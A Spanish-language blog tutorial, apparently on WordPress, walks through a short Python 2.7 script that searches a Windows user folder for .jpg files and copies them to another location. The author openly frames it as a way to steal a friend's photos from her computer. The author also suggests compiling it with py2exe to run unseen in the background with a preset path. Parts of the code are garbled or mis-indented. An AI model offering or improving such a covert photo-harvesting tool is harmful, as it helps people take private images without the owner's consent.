Especial Dia del niño atrasado – Python

Bueno feliz dia atrasado a todos esos niños curiosos 😀 saludos//.. Si alguna vez quisieron robarle las fotos a una amiga suya de su compu es porque son dañados xD jajaja .Bueno esto lo podemos hacer con pocas lineas de codigo en python.(Como instalar python) .Primero verificamos que tengamos python correctamente instalado 😀

 

Verificacion de la version de python

 

Primero importamos

import os
import shutil

os es un módulo que nos permite de una manera facil usar algunas funciones del sistema operativo.

shutil este módulo nos facilita la manipulación de archivos.

d1 = raw_input("Ruta :  ");

Pedimos una ruta para guardar las imágenes.

Luego agregamos

for root , dirs , files in os.walk("C:\Usuarios"):

Iteramos sobre cada directorio raiz , por cada carpeta de esta y cada archivos de la carpeta wtf 0.o , para entenderlo mejor deberiamos practicar :p

for root , dirs , files in os.walk("C:\Usuarios"):
    #Python 2.7 reconoce file como una expresion
    for file in files:

Entonces iteramos por cada archivo.Y aqui es donde va la mágia!Atentos

for root , dirs , files in os.walk("C:\Usuarios"):
    #Python 2.7 reconoce file como una expresion
    for file in files:
        if file.endswith('.jpg'):
             print file.count.__self__

Toda la mágia esta con el endswidth :3 deberiamos amarlo ♥ xd…Lo que hacen estas dos lineas es que si encuentras un archivo y esta termina en .jpg imprime el nombre del archivo con print.

import os
import shutil

d1 = raw_input("RUTA : ")

for root , dirs , files in os.walk("C:\Users"):
     #Python 2.7 reconoce file como una expresion
     for file in files: #files son los archivos
         if file.endswith('.jpg'):
             print file.count.__self__
            #shutil es para copiar lo que quieras aunque
            #puede dar probemas x permisos de admin(sudo)
            shutil.copymode(os.path.join(root,file),d1)
            shutil.copy(os.path.join(root,file),d1)

Y por último agregamos las líneas que guardan el archivo actual en la ruta que indicamos al inicio..

Claro que podemos mejorar esto por ejemplo si no tenemos mucho tiempo para robar las imagenes podemos usar py2exe y con dos simples click poner a correr nuestro programa en background, aunque claro deberiamos tener una ruta por defecto por no tendriamos tiempo para ingresarla.!!

Guardamos el archivo como imagenes.py y luego vamos a nuestra consola y lo probamos:

Iniciando programa

Entre y luego ingresamos la ruta donde queremos guardar las imágenes:

Poniendo la ruta

Y despues veremos los archivos que se van copiando y tenemos que esperar que termine de copiar todo lo que pueda.Lo podemos detener la ejecución presionando control+c

Ejecutando imagenes.py

Gracias a todos :D!!espero que les sirva estudien!!!

PythonSmart

Anuncios

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s